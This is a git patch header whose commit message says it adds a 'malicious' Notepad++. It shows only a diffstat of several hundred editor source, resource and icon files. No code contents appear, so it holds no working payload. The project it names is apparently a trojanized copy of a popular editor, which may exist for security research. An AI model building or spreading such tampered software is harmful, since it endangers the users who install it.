From 1d0322784d2371411c5362651a099763d4776a39 Mon Sep 17 00:00:00 2001 From: rasoul jahanshahi Date: Tue, 4 Aug 2020 15:53:04 -0400 Subject: [PATCH] add malicous notepad++ --- Malicious Notepad++/README.md | 6 + Malicious Notepad++/src/CMakeLists.txt | 363 + Malicious Notepad++/src/EncodingMapper.cpp | 156 + Malicious Notepad++/src/EncodingMapper.h | 51 + .../src/MISC/Common/Common.cpp | 1128 ++ Malicious Notepad++/src/MISC/Common/Common.h | 191 + .../src/MISC/Common/LongRunningOperation.cpp | 48 + .../src/MISC/Common/LongRunningOperation.h | 39 + Malicious Notepad++/src/MISC/Common/Sorters.h | 270 + Malicious Notepad++/src/MISC/Common/mutex.cpp | 181 + Malicious Notepad++/src/MISC/Common/mutex.h | 234 + Malicious Notepad++/src/MISC/Common/mutex.hxx | 116 + .../src/MISC/Common/verifySignedfile.cpp | 273 + .../src/MISC/Common/verifySignedfile.h | 68 + .../src/MISC/Exception/MiniDumper.cpp | 111 + .../src/MISC/Exception/MiniDumper.h | 52 + .../src/MISC/Exception/Win32Exception.cpp | 92 + .../src/MISC/Exception/Win32Exception.h | 79 + .../src/MISC/FileNameStringSplitter.h | 124 + .../src/MISC/PluginsManager/IDAllocator.cpp | 53 + .../src/MISC/PluginsManager/IDAllocator.h | 50 + .../MISC/PluginsManager/Notepad_plus_msgs.h | 599 + .../src/MISC/PluginsManager/PluginInterface.h | 87 + .../MISC/PluginsManager/PluginsManager.cpp | 689 + .../src/MISC/PluginsManager/PluginsManager.h | 167 + .../MISC/PluginsManager/deprecatedSymbols.h | 80 + .../src/MISC/Process/Processus.cpp | 38 + .../src/MISC/Process/Processus.h | 51 + .../src/MISC/RegExt/regExtDlg.cpp | 430 + .../src/MISC/RegExt/regExtDlg.h | 69 + .../src/MISC/RegExt/regExtDlg.rc | 48 + .../src/MISC/RegExt/regExtDlgRc.h | 45 + Malicious Notepad++/src/MISC/crc16/Crc16.h | 122 + Malicious Notepad++/src/MISC/md5/md5.h | 392 + Malicious Notepad++/src/MISC/md5/md5Dlgs.cpp | 266 + Malicious Notepad++/src/MISC/md5/md5Dlgs.h | 48 + Malicious Notepad++/src/MISC/md5/md5Dlgs.rc | 47 + Malicious Notepad++/src/MISC/md5/md5Dlgs_rc.h | 30 + Malicious Notepad++/src/Notepad_plus.aps | Bin 0 -> 645524 bytes Malicious Notepad++/src/Notepad_plus.cpp | 6908 ++++++++ Malicious Notepad++/src/Notepad_plus.h | 592 + Malicious Notepad++/src/Notepad_plus.rc | 1044 ++ .../src/Notepad_plus_Window.cpp | 323 + Malicious Notepad++/src/Notepad_plus_Window.h | 115 + Malicious Notepad++/src/NppBigSwitch.cpp | 2411 +++ Malicious Notepad++/src/NppCommands.cpp | 3295 ++++ Malicious Notepad++/src/NppIO.cpp | 1914 +++ Malicious Notepad++/src/NppNotification.cpp | 1067 ++ Malicious Notepad++/src/Parameters.cpp | 6619 ++++++++ Malicious Notepad++/src/Parameters.h | 1772 +++ .../src/ScitillaComponent/AutoCompletion.cpp | 900 ++ .../src/ScitillaComponent/AutoCompletion.h | 106 + .../src/ScitillaComponent/Buffer.cpp | 1557 ++ .../src/ScitillaComponent/Buffer.h | 420 + .../src/ScitillaComponent/DocTabView.cpp | 232 + .../src/ScitillaComponent/DocTabView.h | 90 + .../src/ScitillaComponent/FindReplaceDlg.cpp | 3714 +++++ .../src/ScitillaComponent/FindReplaceDlg.h | 501 + .../src/ScitillaComponent/FindReplaceDlg.rc | 134 + .../src/ScitillaComponent/FindReplaceDlg_rc.h | 140 + .../src/ScitillaComponent/FunctionCallTip.cpp | 462 + .../src/ScitillaComponent/FunctionCallTip.h | 92 + .../src/ScitillaComponent/GoToLineDlg.cpp | 142 + .../src/ScitillaComponent/GoToLineDlg.h | 82 + .../src/ScitillaComponent/Printer.cpp | 515 + .../src/ScitillaComponent/Printer.h | 67 + .../src/ScitillaComponent/ScintillaCtrls.cpp | 82 + .../src/ScitillaComponent/ScintillaCtrls.h | 56 + .../ScitillaComponent/ScintillaEditView.cpp | 3459 ++++ .../src/ScitillaComponent/ScintillaEditView.h | 1037 ++ .../src/ScitillaComponent/ScintillaRef.h | 35 + .../ScitillaComponent/SmartHighlighter.cpp | 176 + .../src/ScitillaComponent/SmartHighlighter.h | 46 + .../ScitillaComponent/UserDefineDialog.cpp | 1757 +++ .../src/ScitillaComponent/UserDefineDialog.h | 461 + .../src/ScitillaComponent/UserDefineDialog.rc | 309 + .../UserDefineLangReference.h | 40 + .../ScitillaComponent/UserDefineResource.h | 313 + .../src/ScitillaComponent/colors.h | 69 + .../src/ScitillaComponent/columnEditor.cpp | 336 + .../src/ScitillaComponent/columnEditor.h | 72 + .../src/ScitillaComponent/columnEditor.rc | 62 + .../src/ScitillaComponent/columnEditor_rc.h | 51 + .../xmlMatchedTagsHighlighter.cpp | 669 + .../xmlMatchedTagsHighlighter.h | 76 + Malicious Notepad++/src/StaticControl.h | 45 + .../src/TinyXml/tinyXmlA/tinystrA.cpp | 301 + .../src/TinyXml/tinyXmlA/tinystrA.h | 237 + .../src/TinyXml/tinyXmlA/tinyxmlA.cpp | 1328 ++ .../src/TinyXml/tinyXmlA/tinyxmlA.h | 1266 ++ .../src/TinyXml/tinyXmlA/tinyxmlerrorA.cpp | 51 + .../src/TinyXml/tinyXmlA/tinyxmlparserA.cpp | 1162 ++ Malicious Notepad++/src/TinyXml/tinystr.cpp | 292 + Malicious Notepad++/src/TinyXml/tinystr.h | 236 + Malicious Notepad++/src/TinyXml/tinyxml.cpp | 1256 ++ Malicious Notepad++/src/TinyXml/tinyxml.h | 1263 ++ .../src/TinyXml/tinyxmlerror.cpp | 51 + .../src/TinyXml/tinyxmlparser.cpp | 1143 ++ Malicious Notepad++/src/UniConversion.cpp | 135 + Malicious Notepad++/src/UniConversion.h | 18 + Malicious Notepad++/src/Utf8.h | 55 + Malicious Notepad++/src/Utf8_16.cpp | 576 + Malicious Notepad++/src/Utf8_16.h | 164 + .../src/WinControls/AboutDlg/AboutDlg.cpp | 225 + .../src/WinControls/AboutDlg/AboutDlg.h | 98 + .../src/WinControls/AboutDlg/URLCtrl.cpp | 300 + .../src/WinControls/AboutDlg/URLCtrl.h | 64 + .../WinControls/AnsiCharPanel/ListView.cpp | 151 + .../src/WinControls/AnsiCharPanel/ListView.h | 94 + .../AnsiCharPanel/ansiCharPanel.cpp | 150 + .../WinControls/AnsiCharPanel/ansiCharPanel.h | 76 + .../AnsiCharPanel/ansiCharPanel.rc | 39 + .../AnsiCharPanel/ansiCharPanel_rc.h | 36 + .../AnsiCharPanel/asciiListView.cpp | 149 + .../WinControls/AnsiCharPanel/asciiListView.h | 42 + .../clipboardHistoryPanel.cpp | 294 + .../ClipboardHistory/clipboardHistoryPanel.h | 112 + .../ClipboardHistory/clipboardHistoryPanel.rc | 39 + .../clipboardHistoryPanel_rc.h | 36 + .../WinControls/ColourPicker/ColourPicker.cpp | 192 + .../WinControls/ColourPicker/ColourPicker.h | 65 + .../WinControls/ColourPicker/ColourPopup.cpp | 245 + .../WinControls/ColourPicker/ColourPopup.h | 78 + .../WinControls/ColourPicker/ColourPopup.rc | 40 + .../ColourPicker/ColourPopupResource.h | 30 + .../WinControls/ColourPicker/WordStyleDlg.cpp | 866 + .../WinControls/ColourPicker/WordStyleDlg.h | 239 + .../WinControls/ColourPicker/WordStyleDlg.rc | 91 + .../ColourPicker/WordStyleDlgRes.h | 80 + .../WinControls/ContextMenu/ContextMenu.cpp | 125 + .../src/WinControls/ContextMenu/ContextMenu.h | 78 + .../src/WinControls/DockingWnd/CloseDown.bmp | Bin 0 -> 486 bytes .../src/WinControls/DockingWnd/CloseUp.bmp | Bin 0 -> 486 bytes .../src/WinControls/DockingWnd/Docking.h | 85 + .../WinControls/DockingWnd/DockingCont.cpp | 1463 ++ .../src/WinControls/DockingWnd/DockingCont.h | 237 + .../DockingWnd/DockingDlgInterface.h | 148 + .../DockingWnd/DockingGUIWidget.rc | 49 + .../WinControls/DockingWnd/DockingManager.cpp | 986 ++ .../WinControls/DockingWnd/DockingManager.h | 128 + .../DockingWnd/DockingSplitter.cpp | 215 + .../WinControls/DockingWnd/DockingSplitter.h | 72 + .../src/WinControls/DockingWnd/Gripper.cpp | 887 ++ .../src/WinControls/DockingWnd/Gripper.h | 166 + .../WinControls/DockingWnd/dockingResource.h | 81 + .../WinControls/DocumentMap/documentMap.cpp | 631 + .../src/WinControls/DocumentMap/documentMap.h | 154 + .../WinControls/DocumentMap/documentMap.rc | 45 + .../WinControls/DocumentMap/documentMap_rc.h | 32 + .../DocumentMap/documentSnapshot.cpp | 191 + .../DocumentMap/documentSnapshot.h | 65 + .../DocumentMap/documentSnapshot.rc | 37 + .../DocumentMap/documentSnapshot_rc.h | 32 + .../WinControls/FileBrowser/fileBrowser.cpp | 1529 ++ .../src/WinControls/FileBrowser/fileBrowser.h | 197 + .../WinControls/FileBrowser/fileBrowser.rc | 40 + .../WinControls/FileBrowser/fileBrowser_rc.h | 52 + .../FindCharsInRange/FindCharsInRange.cpp | 173 + .../FindCharsInRange/FindCharsInRange.h | 76 + .../FindCharsInRange/findCharsInRange.rc | 50 + .../FindCharsInRange/findCharsInRange_rc.h | 43 + .../FunctionList/functionListPanel.cpp | 786 + .../FunctionList/functionListPanel.h | 147 + .../FunctionList/functionListPanel.rc | 40 + .../FunctionList/functionListPanel_rc.h | 40 + .../FunctionList/functionParser.cpp | 677 + .../WinControls/FunctionList/functionParser.h | 161 + .../src/WinControls/Grid/BabyGrid.cpp | 3248 ++++ .../src/WinControls/Grid/BabyGrid.h | 114 + .../src/WinControls/Grid/BabyGridWrapper.cpp | 51 + .../src/WinControls/Grid/BabyGridWrapper.h | 155 + .../src/WinControls/Grid/ShortcutMapper.cpp | 1067 ++ .../src/WinControls/Grid/ShortcutMapper.h | 113 + .../src/WinControls/Grid/ShortcutMapper.rc | 49 + .../src/WinControls/Grid/ShortcutMapper_rc.h | 40 + .../WinControls/ImageListSet/ImageListSet.cpp | 127 + .../WinControls/ImageListSet/ImageListSet.h | 138 + .../OpenSaveFileDialog/FileDialog.cpp | 494 + .../OpenSaveFileDialog/FileDialog.h | 81 + .../WinControls/PluginsAdmin/pluginsAdmin.cpp | 780 + .../WinControls/PluginsAdmin/pluginsAdmin.h | 161 + .../WinControls/PluginsAdmin/pluginsAdmin.rc | 53 + .../PluginsAdmin/pluginsAdminRes.h | 40 + .../src/WinControls/Preference/preference.rc | 420 + .../WinControls/Preference/preferenceDlg.cpp | 3422 ++++ .../WinControls/Preference/preferenceDlg.h | 279 + .../WinControls/Preference/preference_rc.h | 353 + .../WinControls/ProjectPanel/ProjectPanel.cpp | 1236 ++ .../WinControls/ProjectPanel/ProjectPanel.h | 166 + .../WinControls/ProjectPanel/ProjectPanel.rc | 50 + .../ProjectPanel/ProjectPanel_rc.h | 64 + .../src/WinControls/ProjectPanel/TreeView.cpp | 682 + .../src/WinControls/ProjectPanel/TreeView.h | 146 + .../ReadDirectoryChanges.cpp | 112 + .../ReadDirectoryChanges.h | 164 + .../ReadDirectoryChangesPrivate.cpp | 178 + .../ReadDirectoryChangesPrivate.h | 177 + .../ReadDirectoryChanges/ThreadSafeQueue.h | 116 + .../ReadDirectoryChanges/targetver.h | 8 + .../SplitterContainer/Splitter.cpp | 724 + .../WinControls/SplitterContainer/Splitter.h | 134 + .../SplitterContainer/SplitterContainer.cpp | 326 + .../SplitterContainer/SplitterContainer.h | 97 + .../StaticDialog/RunDlg/RunDlg.cpp | 356 + .../WinControls/StaticDialog/RunDlg/RunDlg.h | 68 + .../WinControls/StaticDialog/RunDlg/RunDlg.rc | 43 + .../StaticDialog/RunDlg/RunDlg_rc.h | 25 + .../WinControls/StaticDialog/StaticDialog.cpp | 228 + .../WinControls/StaticDialog/StaticDialog.h | 81 + .../src/WinControls/StatusBar/StatusBar.cpp | 166 + .../src/WinControls/StatusBar/StatusBar.h | 65 + .../src/WinControls/TabBar/ControlsTab.cpp | 101 + .../src/WinControls/TabBar/ControlsTab.h | 81 + .../src/WinControls/TabBar/TabBar.cpp | 1264 ++ .../src/WinControls/TabBar/TabBar.h | 298 + .../src/WinControls/TaskList/TaskList.cpp | 290 + .../src/WinControls/TaskList/TaskList.h | 78 + .../src/WinControls/TaskList/TaskListDlg.cpp | 229 + .../src/WinControls/TaskList/TaskListDlg.h | 88 + .../src/WinControls/TaskList/TaskListDlg.rc | 37 + .../src/WinControls/TaskList/TaskListDlg_rc.h | 35 + .../src/WinControls/ToolBar/ToolBar.cpp | 570 + .../src/WinControls/ToolBar/ToolBar.h | 178 + .../src/WinControls/ToolTip/ToolTip.cpp | 87 + .../src/WinControls/ToolTip/ToolTip.h | 63 + .../TrayIcon/trayIconControler.cpp | 54 + .../WinControls/TrayIcon/trayIconControler.h | 53 + .../src/WinControls/TreeView/TreeView.cpp | 84 + .../src/WinControls/TreeView/TreeView.h | 55 + .../VerticalFileSwitcher.cpp | 270 + .../VerticalFileSwitcher.h | 109 + .../VerticalFileSwitcher.rc | 38 + .../VerticalFileSwitcherListView.cpp | 381 + .../VerticalFileSwitcherListView.h | 105 + .../VerticalFileSwitcher_rc.h | 36 + Malicious Notepad++/src/WinControls/Window.h | 137 + .../src/WinControls/WindowInterface.h | 44 + .../WinControls/WindowsDlg/SizeableDlg.cpp | 90 + .../src/WinControls/WindowsDlg/SizeableDlg.h | 57 + .../src/WinControls/WindowsDlg/WinMgr.cpp | 493 + .../src/WinControls/WindowsDlg/WinMgr.h | 297 + .../src/WinControls/WindowsDlg/WinRect.cpp | 83 + .../src/WinControls/WindowsDlg/WindowsDlg.cpp | 937 ++ .../src/WinControls/WindowsDlg/WindowsDlg.h | 121 + .../src/WinControls/WindowsDlg/WindowsDlg.rc | 55 + .../src/WinControls/WindowsDlg/WindowsDlgRc.h | 54 + .../src/WinControls/shortcut/RunMacroDlg.cpp | 145 + .../src/WinControls/shortcut/RunMacroDlg.h | 70 + .../src/WinControls/shortcut/RunMacroDlg.rc | 51 + .../src/WinControls/shortcut/RunMacroDlg_rc.h | 42 + .../src/WinControls/shortcut/shortcut.cpp | 984 ++ .../src/WinControls/shortcut/shortcut.h | 401 + .../src/WinControls/shortcut/shortcut.rc | 88 + .../src/WinControls/shortcut/shortcutRc.h | 46 + Malicious Notepad++/src/clipboardFormats.h | 36 + Malicious Notepad++/src/contextMenu.xml | 73 + Malicious Notepad++/src/cursors/drag.cur | Bin 0 -> 766 bytes .../src/cursors/drag_interdit.cur | Bin 0 -> 766 bytes Malicious Notepad++/src/cursors/drag_out.cur | Bin 0 -> 2238 bytes Malicious Notepad++/src/cursors/drag_plus.cur | Bin 0 -> 766 bytes Malicious Notepad++/src/dpiAware.manifest | 9 + Malicious Notepad++/src/dpiManager.h | 124 + Malicious Notepad++/src/functionList.xml | 1301 ++ .../src/icons/allChars_off.ico | Bin 0 -> 4022 bytes Malicious Notepad++/src/icons/allChars_on.ico | Bin 0 -> 4022 bytes Malicious Notepad++/src/icons/asciiPanel.ico | Bin 0 -> 1366 bytes Malicious Notepad++/src/icons/chameleon.ico | Bin 0 -> 5694 bytes .../src/icons/clipboardPanel.ico | Bin 0 -> 1406 bytes Malicious Notepad++/src/icons/closeAll.bmp | Bin 0 -> 1334 bytes Malicious Notepad++/src/icons/closeFile.bmp | Bin 0 -> 1334 bytes .../src/icons/closeTabButton.bmp | Bin 0 -> 450 bytes .../src/icons/closeTabButton_hover.bmp | Bin 0 -> 450 bytes .../src/icons/closeTabButton_inact.bmp | Bin 0 -> 450 bytes .../src/icons/closeTabButton_push.bmp | Bin 0 -> 450 bytes Malicious Notepad++/src/icons/copy.bmp | Bin 0 -> 1334 bytes Malicious Notepad++/src/icons/cut.bmp | Bin 0 -> 1334 bytes Malicious Notepad++/src/icons/cut_dis.ico | Bin 0 -> 2998 bytes Malicious Notepad++/src/icons/cut_off.ico | Bin 0 -> 2998 bytes Malicious Notepad++/src/icons/cut_on.ico | Bin 0 -> 2998 bytes Malicious Notepad++/src/icons/delete.ico | Bin 0 -> 2998 bytes Malicious Notepad++/src/icons/docMap.bmp | Bin 0 -> 1334 bytes Malicious Notepad++/src/icons/docMap.ico | Bin 0 -> 1150 bytes Malicious Notepad++/src/icons/docSwitcher.ico | Bin 0 -> 1406 bytes Malicious Notepad++/src/icons/dupli_dis.ico | Bin 0 -> 2998 bytes Malicious Notepad++/src/icons/dupli_off.ico | Bin 0 -> 2998 bytes Malicious Notepad++/src/icons/dupli_on.ico | Bin 0 -> 2998 bytes .../src/icons/fb_root_close.bmp | Bin 0 -> 822 bytes .../src/icons/fb_root_open.bmp | Bin 0 -> 822 bytes Malicious Notepad++/src/icons/fileBrowser.bmp | Bin 0 -> 1078 bytes Malicious Notepad++/src/icons/fileBrowser.ico | Bin 0 -> 1406 bytes .../src/icons/fileMonitoring.bmp | Bin 0 -> 1334 bytes Malicious Notepad++/src/icons/find.bmp | Bin 0 -> 1334 bytes Malicious Notepad++/src/icons/findReplace.bmp | Bin 0 -> 1334 bytes Malicious Notepad++/src/icons/findResult.ico | Bin 0 -> 1406 bytes Malicious Notepad++/src/icons/find_off.ico | Bin 0 -> 2998 bytes Malicious Notepad++/src/icons/find_on.ico | Bin 0 -> 2998 bytes Malicious Notepad++/src/icons/findrep_off.ico | Bin 0 -> 2998 bytes Malicious Notepad++/src/icons/findrep_on.ico | Bin 0 -> 2998 bytes .../src/icons/funcList_leaf.bmp | Bin 0 -> 822 bytes .../src/icons/funcList_node.bmp | Bin 0 -> 822 bytes .../src/icons/funclstReload.bmp | Bin 0 -> 1146 bytes Malicious Notepad++/src/icons/funclstSort.bmp | Bin 0 -> 1146 bytes .../src/icons/functionList.bmp | Bin 0 -> 1334 bytes .../src/icons/functionList.ico | Bin 0 -> 1366 bytes Malicious Notepad++/src/icons/imprim_off.ico | Bin 0 -> 2998 bytes Malicious Notepad++/src/icons/imprim_on.ico | Bin 0 -> 2998 bytes .../src/icons/incrementalBg.bmp | Bin 0 -> 822 bytes Malicious Notepad++/src/icons/indentGuide.bmp | Bin 0 -> 246 bytes .../src/icons/indentGuide_off.ico | Bin 0 -> 3262 bytes .../src/icons/indentGuide_on.ico | Bin 0 -> 3262 bytes .../src/icons/invisibleChar.bmp | Bin 0 -> 1334 bytes Malicious Notepad++/src/icons/monitoring.ico | Bin 0 -> 2998 bytes Malicious Notepad++/src/icons/newFile.bmp | Bin 0 -> 1334 bytes Malicious Notepad++/src/icons/new_off.ico | Bin 0 -> 2238 bytes Malicious Notepad++/src/icons/new_on.ico | Bin 0 -> 2238 bytes Malicious Notepad++/src/icons/npp.ico | Bin 0 -> 186712 bytes Malicious Notepad++/src/icons/nppNewIcon.ico | Bin 0 -> 186712 bytes Malicious Notepad++/src/icons/openFile.bmp | Bin 0 -> 1080 bytes Malicious Notepad++/src/icons/open_off.ico | Bin 0 -> 2238 bytes Malicious Notepad++/src/icons/open_on.ico | Bin 0 -> 2238 bytes Malicious Notepad++/src/icons/paste.bmp | Bin 0 -> 1334 bytes Malicious Notepad++/src/icons/paste_dis.ico | Bin 0 -> 2998 bytes Malicious Notepad++/src/icons/paste_off.ico | Bin 0 -> 2998 bytes Malicious Notepad++/src/icons/paste_on.ico | Bin 0 -> 2998 bytes Malicious Notepad++/src/icons/playRecord.bmp | Bin 0 -> 1334 bytes .../src/icons/playRecord_m.bmp | Bin 0 -> 1334 bytes .../src/icons/playrecord_dis.ico | Bin 0 -> 3262 bytes .../src/icons/playrecord_m_dis.ico | Bin 0 -> 3262 bytes .../src/icons/playrecord_m_off.ico | Bin 0 -> 3262 bytes .../src/icons/playrecord_m_on.ico | Bin 0 -> 3262 bytes .../src/icons/playrecord_off.ico | Bin 0 -> 3262 bytes .../src/icons/playrecord_on.ico | Bin 0 -> 3262 bytes Malicious Notepad++/src/icons/print.bmp | Bin 0 -> 1334 bytes .../src/icons/projectPanel.ico | Bin 0 -> 1366 bytes .../src/icons/project_file.bmp | Bin 0 -> 822 bytes .../src/icons/project_file_invalid.bmp | Bin 0 -> 822 bytes .../src/icons/project_folder_close.bmp | Bin 0 -> 822 bytes .../src/icons/project_folder_open.bmp | Bin 0 -> 822 bytes .../src/icons/project_root.bmp | Bin 0 -> 822 bytes .../src/icons/project_work_space.bmp | Bin 0 -> 822 bytes .../src/icons/project_work_space_dirty.bmp | Bin 0 -> 822 bytes Malicious Notepad++/src/icons/readonly.ico | Bin 0 -> 1150 bytes .../src/icons/readonly.ico.old | Bin 0 -> 2238 bytes Malicious Notepad++/src/icons/redo.bmp | Bin 0 -> 1334 bytes Malicious Notepad++/src/icons/redo_dis.ico | Bin 0 -> 2998 bytes Malicious Notepad++/src/icons/redo_off.ico | Bin 0 -> 2998 bytes Malicious Notepad++/src/icons/redo_on.ico | Bin 0 -> 2998 bytes Malicious Notepad++/src/icons/saveAll.bmp | Bin 0 -> 1334 bytes Malicious Notepad++/src/icons/saveFile.bmp | Bin 0 -> 1334 bytes Malicious Notepad++/src/icons/saveRecord.bmp | Bin 0 -> 1334 bytes Malicious Notepad++/src/icons/save_dis.ico | Bin 0 -> 2998 bytes Malicious Notepad++/src/icons/save_off.ico | Bin 0 -> 2998 bytes Malicious Notepad++/src/icons/save_on.ico | Bin 0 -> 2998 bytes Malicious Notepad++/src/icons/saveall_dis.ico | Bin 0 -> 2998 bytes Malicious Notepad++/src/icons/saveall_off.ico | Bin 0 -> 2998 bytes Malicious Notepad++/src/icons/saveall_on.ico | Bin 0 -> 2998 bytes Malicious Notepad++/src/icons/saved.ico | Bin 0 -> 1150 bytes Malicious Notepad++/src/icons/saved.ico.old | Bin 0 -> 1342 bytes .../src/icons/saverecord_dis.ico | Bin 0 -> 3262 bytes .../src/icons/saverecord_off.ico | Bin 0 -> 3262 bytes .../src/icons/saverecord_on.ico | Bin 0 -> 3262 bytes Malicious Notepad++/src/icons/showPannel.bmp | Bin 0 -> 1334 bytes Malicious Notepad++/src/icons/startRecord.bmp | Bin 0 -> 246 bytes .../src/icons/startrecord_dis.ico | Bin 0 -> 3262 bytes .../src/icons/startrecord_off.ico | Bin 0 -> 3262 bytes .../src/icons/startrecord_on.ico | Bin 0 -> 3262 bytes Malicious Notepad++/src/icons/stopRecord.bmp | Bin 0 -> 246 bytes .../src/icons/stoprecord_dis.ico | Bin 0 -> 3262 bytes .../src/icons/stoprecord_off.ico | Bin 0 -> 3262 bytes .../src/icons/stoprecord_on.ico | Bin 0 -> 3262 bytes Malicious Notepad++/src/icons/supp_off.ico | Bin 0 -> 2238 bytes Malicious Notepad++/src/icons/supp_on.ico | Bin 0 -> 2238 bytes Malicious Notepad++/src/icons/suppall_off.ico | Bin 0 -> 2998 bytes Malicious Notepad++/src/icons/suppall_on.ico | Bin 0 -> 2998 bytes Malicious Notepad++/src/icons/syncH.bmp | Bin 0 -> 1334 bytes Malicious Notepad++/src/icons/syncH_dis.ico | Bin 0 -> 3262 bytes Malicious Notepad++/src/icons/syncH_off.ico | Bin 0 -> 3262 bytes Malicious Notepad++/src/icons/syncH_on.ico | Bin 0 -> 3262 bytes Malicious Notepad++/src/icons/syncV.bmp | Bin 0 -> 1334 bytes Malicious Notepad++/src/icons/syncV_dis.ico | Bin 0 -> 3262 bytes Malicious Notepad++/src/icons/syncV_off.ico | Bin 0 -> 3262 bytes Malicious Notepad++/src/icons/syncV_on.ico | Bin 0 -> 3262 bytes Malicious Notepad++/src/icons/undo.bmp | Bin 0 -> 1334 bytes Malicious Notepad++/src/icons/undo_dis.ico | Bin 0 -> 2998 bytes Malicious Notepad++/src/icons/undo_off.ico | Bin 0 -> 2998 bytes Malicious Notepad++/src/icons/undo_on.ico | Bin 0 -> 2998 bytes Malicious Notepad++/src/icons/unsaved.ico | Bin 0 -> 1150 bytes Malicious Notepad++/src/icons/unsaved.ico.old | Bin 0 -> 1566 bytes .../src/icons/userDefineDlg_off.ico | Bin 0 -> 4022 bytes .../src/icons/userDefineDlg_on.ico | Bin 0 -> 4022 bytes Malicious Notepad++/src/icons/wrap.bmp | Bin 0 -> 1334 bytes Malicious Notepad++/src/icons/wrap_dis.ico | Bin 0 -> 3262 bytes Malicious Notepad++/src/icons/wrap_off.ico | Bin 0 -> 3262 bytes Malicious Notepad++/src/icons/wrap_on.ico | Bin 0 -> 3262 bytes Malicious Notepad++/src/icons/zoomIn.bmp | Bin 0 -> 1334 bytes Malicious Notepad++/src/icons/zoomIn_off.ico | Bin 0 -> 2998 bytes Malicious Notepad++/src/icons/zoomIn_on.ico | Bin 0 -> 2998 bytes Malicious Notepad++/src/icons/zoomOut.bmp | Bin 0 -> 1334 bytes Malicious Notepad++/src/icons/zoomOut_off.ico | Bin 0 -> 2998 bytes Malicious Notepad++/src/icons/zoomOut_on.ico | Bin 0 -> 2998 bytes Malicious Notepad++/src/json/json.hpp | 13003 ++++++++++++++++ Malicious Notepad++/src/keys.h | 206 + Malicious Notepad++/src/langs.model.xml | 401 + .../src/lastRecentFileList.cpp | 312 + Malicious Notepad++/src/lastRecentFileList.h | 119 + Malicious Notepad++/src/lesDlgs.cpp | 179 + Malicious Notepad++/src/lesDlgs.h | 97 + Malicious Notepad++/src/localization.cpp | 1178 ++ Malicious Notepad++/src/localization.h | 101 + Malicious Notepad++/src/localizationString.h | 117 + Malicious Notepad++/src/menuCmdID.h | 570 + .../src/notepad++.exe.manifest | 46 + Malicious Notepad++/src/resource.h | 486 + Malicious Notepad++/src/rgba_icons.h | 567 + Malicious Notepad++/src/shortcuts.xml | 21 + Malicious Notepad++/src/stylers.model.xml | 1371 ++ Malicious Notepad++/src/toolbarIcons.xml | 94 + .../src/tools/ChangeIcon/ChangeIcon.cpp | 263 + .../src/tools/ChangeIcon/ChangeIcon.vcproj | 188 + .../src/tools/IExplorerShell/makefile | 2 + .../IExplorerShell/nppIExplorerShell.cpp | 50 + .../tools/NppShell/codeblocks/NppShell.cbp | 142 + .../src/tools/NppShell/project/NppShell.sln | 26 + .../tools/NppShell/project/NppShell.vcproj | 438 + .../src/tools/NppShell/src/Bitmap.cpp | 301 + .../src/tools/NppShell/src/Bitmap.h | 45 + .../src/tools/NppShell/src/NppShell.cpp | 1094 ++ .../src/tools/NppShell/src/NppShell.h | 131 + .../src/tools/NppShell/src/NppShell.rc | 77 + .../src/tools/NppShell/src/bitmap/npp.bmp | Bin 0 -> 824 bytes .../src/tools/NppShell/src/export.def | 6 + .../tools/NppShell/src/icon/nppNewIcon.ico | Bin 0 -> 186712 bytes .../src/tools/NppShell/src/icon/npp_0.ico | Bin 0 -> 7406 bytes .../src/tools/NppShell/src/icon/npp_1.ico | Bin 0 -> 7406 bytes .../src/tools/NppShell/src/resource.h | 12 + .../src/tools/xmlApiSorter/sorter.cpp | 204 + .../src/tools/xmlApiSorter/sorter.vcproj | 160 + .../src/tools/xmlUpdater/configModel.xml | 6 + .../src/tools/xmlUpdater/langsModel.xml | 6 + .../src/tools/xmlUpdater/makefile | 56 + .../src/tools/xmlUpdater/stylers_remove.xml | 17 + .../src/tools/xmlUpdater/stylesModel.xml | 12 + .../src/tools/xmlUpdater/xmlUpdater.cpp | 346 + .../src/tools/xmlUpdater/xmlUpdater.vcproj | 224 + Malicious Notepad++/src/uchardet/Big5Freq.tab | 943 ++ .../src/uchardet/CharDistribution.cpp | 109 + .../src/uchardet/CharDistribution.h | 242 + .../src/uchardet/EUCKRFreq.tab | 614 + .../src/uchardet/EUCTWFreq.tab | 447 + .../src/uchardet/GB2312Freq.tab | 491 + Malicious Notepad++/src/uchardet/JISFreq.tab | 589 + Malicious Notepad++/src/uchardet/JpCntx.cpp | 230 + Malicious Notepad++/src/uchardet/JpCntx.h | 140 + .../src/uchardet/LangBulgarianModel.cpp | 243 + .../src/uchardet/LangCyrillicModel.cpp | 349 + .../src/uchardet/LangGreekModel.cpp | 242 + .../src/uchardet/LangHebrewModel.cpp | 217 + .../src/uchardet/LangHungarianModel.cpp | 238 + .../src/uchardet/LangThaiModel.cpp | 220 + Malicious Notepad++/src/uchardet/README.TXT | 10 + .../src/uchardet/nsBig5Prober.cpp | 88 + .../src/uchardet/nsBig5Prober.h | 74 + .../src/uchardet/nsCharSetProber.cpp | 129 + .../src/uchardet/nsCharSetProber.h | 76 + .../src/uchardet/nsCodingStateMachine.h | 107 + .../src/uchardet/nsEUCJPProber.cpp | 99 + .../src/uchardet/nsEUCJPProber.h | 78 + .../src/uchardet/nsEUCKRProber.cpp | 91 + .../src/uchardet/nsEUCKRProber.h | 75 + .../src/uchardet/nsEUCTWProber.cpp | 91 + .../src/uchardet/nsEUCTWProber.h | 74 + .../src/uchardet/nsEscCharsetProber.cpp | 97 + .../src/uchardet/nsEscCharsetProber.h | 67 + Malicious Notepad++/src/uchardet/nsEscSM.cpp | 260 + .../src/uchardet/nsGB2312Prober.cpp | 96 + .../src/uchardet/nsGB2312Prober.h | 76 + .../src/uchardet/nsHebrewProber.cpp | 194 + .../src/uchardet/nsHebrewProber.h | 176 + .../src/uchardet/nsLatin1Prober.cpp | 182 + .../src/uchardet/nsLatin1Prober.h | 70 + .../src/uchardet/nsMBCSGroupProber.cpp | 231 + .../src/uchardet/nsMBCSGroupProber.h | 80 + Malicious Notepad++/src/uchardet/nsMBCSSM.cpp | 507 + Malicious Notepad++/src/uchardet/nsPkgInt.h | 93 + .../src/uchardet/nsSBCSGroupProber.cpp | 224 + .../src/uchardet/nsSBCSGroupProber.h | 70 + .../src/uchardet/nsSBCharSetProber.cpp | 127 + .../src/uchardet/nsSBCharSetProber.h | 130 + .../src/uchardet/nsSJISProber.cpp | 99 + .../src/uchardet/nsSJISProber.h | 80 + .../src/uchardet/nsUTF8Prober.cpp | 87 + .../src/uchardet/nsUTF8Prober.h | 64 + 